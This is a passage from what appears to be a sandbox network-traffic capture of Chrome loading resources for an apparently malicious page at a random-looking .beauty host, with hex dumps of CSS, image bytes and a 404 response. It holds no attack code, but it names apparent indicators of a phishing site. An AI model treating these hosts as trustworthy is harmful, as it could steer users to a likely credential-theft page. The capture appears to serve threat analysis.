o\|gQOs#5-3x.?IZv;\|'ph[y<r~9+>yJs2}Dlh-gV>W[\|V/~=5mX-bETE;#Z\|U<v*"C<YJMRe>/:q$oQs_6O;PU}%
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 7f 91 ff 00 3d 2b c1 fe 23 5c c1 ff 00 09 e6 a4 f6 b0 ff 00 ab d9 1f fd f3 5c d5 a9 ae 5b 95 49 b9 49 44 e5 64 96 44 d2 7e cb ff 00 2c ee 24 f3 3f e0 75 5e 39 64 f2 7c ba b1 1f fa 47 df ff 00 ae 95 0a 2f da 26 93 fe 99 c7 5c c9 58 de 5b 90 46 bf df a6 47 16 cf 9d 3f d6 55 ad bb e1 ff 00 ae 74 b1 fc f3 6c a6 21 d2 45 fb 9d f5 56 fa 59 1e 68 ff 00 e7 9d 5b 9d bf 73 51 df 34 7f d9 f1 a7 fc b4 a4 a5 aa 28 a7 1a c9 e7 4b 52 c9 4c b5 f9 ea c7 95 fb da d2 5b 8d 0c f3 7c df 33 f7 35 2f 95 1f 93 1b f9 35 69 ec 64 4b 48 dd 3f e5 a5 58 8e da 34 b4 91 ff 00 d6 49 1c 7f bc a8 19 4a 35 d9 f3 bd 3e 05 49 7e e7 fd 74 a9 64 b3 9d 21 8d ff 00 e5 9c 9f ea ea d5 ad 8c 7e 4e ff 00 f9 e7 53 23 43 36 7f 2d 26 d8 90 fe f2 3a b7 e4 6c 86 3a af b7 7c d5 6b 6f fa bd 93 56 89 13 cc Data Ascii: =+#\\[IIDdD~,$?u^9d\|G/&\X[FG?Utl!EVYh[sQ4(KRL[\|35/5idKH?X4IJ5>I~td!~NS#C6-&:l:\|koV
2024-12-18 20:11:09 UTC	16067	IN	Data Raw: bf e7 aa b2 5d c9 2f dc aa b2 7c 9f 7e 82 4b 09 56 7c ad 90 ef ff 00 96 75 9d ba 44 a7 41 2e ca 00 b5 46 da 8a 39 69 f1 cb be 82 86 4e bf bd a6 a4 12 4b f7 29 d1 fe f6 a5 dd 24 50 ff 00 a9 a0 07 c7 6d b2 1d 93 d5 49 d3 64 db 23 a9 bc fd 93 7c 95 5d db f7 d4 10 d5 c8 e9 d1 d3 a3 5a 96 45 f2 ad 64 aa e6 17 2b 19 53 40 db 29 9a 6f 99 f7 ff 00 e7 9d 2c f2 d4 94 3b cd ff 00 a6 54 e8 e5 f3 7e ff 00 fc b3 a6 ed fd cc 74 c8 d7 fb 9f eb 28 1f bc cb ba 96 a1 25 dc 51 c1 3c df bb b7 ff 00 55 1d 55 82 2d ff 00 3f fc b3 ff 00 96 94 7e ed fe 77 87 f7 94 ef 3f cd 87 64 9f bb f2 e3 fd dd 0e 4d 2d 11 9c af d8 7c 96 d0 24 df 3f ee e3 92 ad 4f 3c 92 c3 6d 3f fc b4 8f f7 75 97 1b 55 a8 3c b7 86 4d ff 00 eb 2a ac ed b8 82 fb f7 b3 48 ef 37 ef 24 aa f6 ad 1f 93 26 f9 bc ba bb Data Ascii: ]/\|~KV\|uDA.F9iNK)$PmId#\|]ZEd+S@)o,;T~t(%Q<UU-?~w?dM-\|$?O<m?uU<M*H7$&
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 69 1f e4 ff 00 96 95 76 14 8e 28 76 25 00 d5 cc 38 f4 db b7 a3 fb 3e 7f f9 67 0d 6e 4e df c0 95 5e 36 93 f7 88 f0 fc 9f f3 d2 a3 da 34 8c 67 25 15 b1 14 16 7b 21 df 3d e7 ef 3f e7 9f 95 4c 93 cb 49 be 4f f9 e7 53 3c b1 fd ff 00 f5 95 4a fa 58 de 1d 9f f2 d2 a5 5e 4c c3 9a e5 ab 5b 98 d3 cc 48 3f e7 9d 12 4f fb e8 b6 7f ab ac 68 e5 91 2a fc 3f f1 e9 be 4f f9 69 fe ae a9 d3 49 dc 0e 8f c2 33 dc 7f 6b 46 90 43 34 9f 68 fd df 97 1d 74 3e 3c 8a ee de ee 2f fc 87 5c 66 87 3d dd 94 d1 ce 93 79 72 47 fb c8 e4 ad 5d 73 5c d4 b5 5b b8 e7 d4 3c 9f 32 3f dd c7 e5 45 b2 94 a7 68 b8 09 bb 14 ae 35 5f b3 cd 2c 10 79 32 49 1f fd 32 a7 43 6d e5 69 fb ff 00 e3 e3 cc ff 00 80 7d da ad 23 46 9f 72 1f 32 4f f9 e9 51 6b f7 7f 68 fb f0 cd 1c 9f f2 d6 b3 51 6f 95 41 5b bb 1e 83 Data Ascii: iv(v%8>gnN^64g%{!=?LIOS<JX^L[H?Oh*?OiI3kFC4ht></\f=yrG]s\[<2?Eh5_,y2I2Cmi}#Fr2OQkhQoA[
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 0c be 9f c6 1f 10 3c 6f 63 ab cd e4 de eb 9a ac 7e 67 99 73 b1 3e d1 e5 27 e0 1b e4 4a 97 43 d2 23 d5 b5 cb 18 2f b5 8b 4b 74 92 e5 fe d3 14 bb ff 00 d1 d3 fd 9f f6 2b 2f 4d d6 a4 d3 34 9d 5b c2 ff 00 6c 8a e2 d6 f6 44 8f ed 32 c5 fe af cb 7d cb 24 7f dd cd 5c b5 f1 0c 96 fa 7c 69 04 d3 47 3d 95 ca 5c 59 49 16 c7 48 e5 5f bd fe d5 18 8a 35 aa 52 7e cd d9 f4 b2 5f a9 92 94 2e 7b c7 c3 7f 84 f6 fa d6 b5 65 a6 1d 4a ee cb ed 16 49 fd 8b ab 58 ca 97 36 d2 4a fb d6 36 97 fb 8b b9 76 6c fb d5 c1 cf a4 6a 56 f7 72 59 4f 0f da 27 8e 47 8f cb 8b e7 f2 de 37 d9 22 7a f0 d5 e7 3e 1f f1 6e a7 a7 f8 b3 fb 7a 09 a6 8e 78 ee 7e d7 24 51 4b e4 a4 8f bf 77 dd 5a f4 e8 fc 75 77 e3 8f 89 b1 eb 77 b7 90 e8 ba ae a3 22 49 f6 db 1f f4 64 8e e3 fe 7a b2 a7 f1 7f 79 bf 8a b9 30 Data Ascii: <oc~gs>'JC#/Kt+/M4[lD2}$\\|iG=\YIH_5R~_.{eJIX6J6vljVrYO'G7"z>nzx~$QKwZuww"Idzy0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49752	104.17.25.14	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:08 UTC	606	OUT	GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:08 UTC	952	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:11:08 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e5f-7918" Last-Modified: Mon, 04 May 2020 16:10:07 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 498788 Expires: Mon, 08 Dec 2025 20:11:08 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=znOBWnJm190yDE2%2BOUKro63%2B1guZ3xcN2r2LQrZW02Kjx%2B8LzGfq1bMJTMSm6WKka%2BI0MvzHHQdJRmAB9ILq6%2FJbJwGfnWG%2B2RcCbzIbXs4I%2FxDwKRZyj0dAMHfLTabK045inLqG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f41cce3fc65c32f-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 20:11:08 UTC	417	IN	Data Raw: 37 39 31 38 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 73 72 63 3a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 76 3d 34 2e 37 Data Ascii: 7918/! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 3f 76 3d 34 2e 37 2e 30 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 2e 66 61 7b 64 69 73 70 6c 61 Data Ascii: '../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{displa
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 70 69 6e 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 35 39 64 Data Ascii: %{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359d
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 74 61 63 6b 2d 31 78 2c 2e 66 61 2d 73 74 61 63 6b 2d 32 78 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 66 61 2d 73 74 61 63 6b 2d 31 78 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 2e 66 61 2d 73 74 61 63 6b 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 69 6e 76 65 72 73 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 30 22 7d 2e 66 61 2d 6d 75 73 69 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 31 22 7d 2e 66 61 2d 73 65 61 72 63 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 Data Ascii: tack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f00
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 33 22 7d 2e 66 61 2d 66 6c 61 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 34 22 7d 2e 66 61 2d 68 65 61 64 70 68 6f 6e 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 35 22 7d 2e 66 61 2d 76 6f 6c 75 6d 65 2d 6f 66 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 36 22 7d 2e 66 61 2d 76 6f 6c 75 6d 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 37 22 7d 2e 66 61 2d 76 6f 6c 75 6d 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 38 22 7d 2e 66 61 2d 71 72 63 6f 64 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 39 22 7d 2e 66 61 2d 62 61 72 63 6f 64 65 3a 62 65 66 6f 72 Data Ascii: ore{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:befor
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 38 22 7d 2e 66 61 2d 66 61 73 74 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 39 22 7d 2e 66 61 2d 62 61 63 6b 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 61 22 7d 2e 66 61 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 62 22 7d 2e 66 61 2d 70 61 75 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 63 22 7d 2e 66 61 2d 73 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 64 22 7d 2e 66 61 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 65 22 7d 2e 66 61 2d 66 61 73 74 2d 66 6f 72 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 Data Ascii: fore{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{c
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 7d 2e 66 61 2d 65 79 65 2d 73 6c 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 30 22 7d 2e 66 61 2d 77 61 72 6e 69 6e 67 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 31 22 7d 2e 66 61 2d 70 6c 61 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 32 22 7d 2e 66 61 2d 63 61 6c 65 6e 64 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 33 22 7d 2e 66 61 2d 72 61 6e 64 6f 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 34 22 7d 2e 66 61 2d 63 6f 6d 6d 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 35 22 7d 2e 66 61 2d 6d 61 67 6e 65 74 3a 62 Data Ascii: }.fa-eye-slash:before{content:"\f070"}.fa-warning:before,.fa-exclamation-triangle:before{content:"\f071"}.fa-plane:before{content:"\f072"}.fa-calendar:before{content:"\f073"}.fa-random:before{content:"\f074"}.fa-comment:before{content:"\f075"}.fa-magnet:b
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 2d 70 68 6f 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 35 22 7d 2e 66 61 2d 73 71 75 61 72 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 36 22 7d 2e 66 61 2d 62 6f 6f 6b 6d 61 72 6b 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 37 22 7d 2e 66 61 2d 70 68 6f 6e 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 38 22 7d 2e 66 61 2d 74 77 69 74 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 39 22 7d 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 2d 66 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 66 61 63 65 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 39 61 22 7d 2e 66 61 2d 67 69 74 68 75 62 3a 62 65 66 6f 72 65 7b Data Ascii: -phone:before{content:"\f095"}.fa-square-o:before{content:"\f096"}.fa-bookmark-o:before{content:"\f097"}.fa-phone-square:before{content:"\f098"}.fa-twitter:before{content:"\f099"}.fa-facebook-f:before,.fa-facebook:before{content:"\f09a"}.fa-github:before{
2024-12-18 20:11:08 UTC	1369	IN	Data Raw: 3a 22 5c 66 30 63 36 22 7d 2e 66 61 2d 73 61 76 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 66 6c 6f 70 70 79 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 37 22 7d 2e 66 61 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 38 22 7d 2e 66 61 2d 6e 61 76 69 63 6f 6e 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 72 65 6f 72 64 65 72 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 39 22 7d 2e 66 61 2d 6c 69 73 74 2d 75 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 61 22 7d 2e 66 61 2d 6c 69 73 74 2d 6f 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 63 62 22 7d 2e 66 61 2d 73 74 72 69 6b 65 74 68 72 6f 75 67 68 3a 62 65 Data Ascii: :"\f0c6"}.fa-save:before,.fa-floppy-o:before{content:"\f0c7"}.fa-square:before{content:"\f0c8"}.fa-navicon:before,.fa-reorder:before,.fa-bars:before{content:"\f0c9"}.fa-list-ul:before{content:"\f0ca"}.fa-list-ol:before{content:"\f0cb"}.fa-strikethrough:be
2024-12-18 20:11:09 UTC	1369	IN	Data Raw: 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 39 22 7d 2e 66 61 2d 70 61 73 74 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 63 6c 69 70 62 6f 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 61 22 7d 2e 66 61 2d 6c 69 67 68 74 62 75 6c 62 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 62 22 7d 2e 66 61 2d 65 78 63 68 61 6e 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 63 22 7d 2e 66 61 2d 63 6c 6f 75 64 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 64 22 7d 2e 66 61 2d 63 6c 6f 75 64 2d 75 70 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 65 22 7d 2e 66 61 2d 75 73 65 72 2d 6d 64 3a 62 65 66 6f 72 65 7b 63 Data Ascii: :before{content:"\f0e9"}.fa-paste:before,.fa-clipboard:before{content:"\f0ea"}.fa-lightbulb-o:before{content:"\f0eb"}.fa-exchange:before{content:"\f0ec"}.fa-cloud-download:before{content:"\f0ed"}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49756	108.178.43.142	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:09 UTC	619	OUT	GET /smarty/xls_v1.6/tail-spin.svg HTTP/1.1 Host: kasumbo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:09 UTC	565	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 18 Dec 2024 20:11:09 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff vary: User-Agent,Accept-Encoding alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-18 20:11:09 UTC	796	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49754	192.229.133.221	443	2760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:09 UTC	564	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://5bsrfkftdtnvful9nm.ssaa.beauty:8443/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 20:11:09 UTC	576	IN	HTTP/1.1 200 OK Age: 212404 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; Content-Type: text/css Date: Wed, 18 Dec 2024 20:11:09 GMT Etag: "0c6e59a964fdb1:0+ident" Last-Modified: Mon, 16 Dec 2024 08:43:40 GMT Server: ECS (lhd/35B3) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-12-18 20:11:09 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
